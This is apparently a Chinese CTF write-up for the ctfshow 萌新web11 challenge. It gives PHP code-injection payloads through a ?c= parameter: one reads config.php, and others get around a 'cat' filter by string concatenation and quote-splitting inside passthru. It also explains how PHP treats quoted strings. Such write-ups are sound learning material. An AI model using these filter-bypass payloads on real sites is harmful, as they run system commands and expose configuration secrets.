CTF web之旅 14

ctfshow 萌新web11

又增加了cat的绕过

这个payload依然可用

?c=$file_handle = fopen("config.php","r");if ($file_handle){while (!feof($file_handle)) {  $line = fgets($file_handle); echo $line; echo "<br />"; }}fclose($file_handle);

或者是字符拼接

?c=$a='ca';$b='t';$c=$a.$b;passthru("$c config.php");

对于执行函数 passthru内的内容

一定要是双引号  因为对于php 

在php语言中单引号串和双引号串的处理是不同的。双引号串中的内容可以被解释而且替换,而单引号串中的内容总被认为是普通字符。也就是说,如果这里用了单引号的话,php会认为他就是一个普通的变量c,无法解释出系统命令cat的功能。

简单来说:单引号内部的变量不会执行双引号会执行

如
$name = 'hello';
echo "the $name";

会输出 the hello

而如果是单引号

$name = 'hello';
echo 'the $name';

会输出 the $name

 或者是单引号绕过cat过滤

?c=passthru("ca''t config.php");

原文地址:https://www.cnblogs.com/akger/p/14601341.html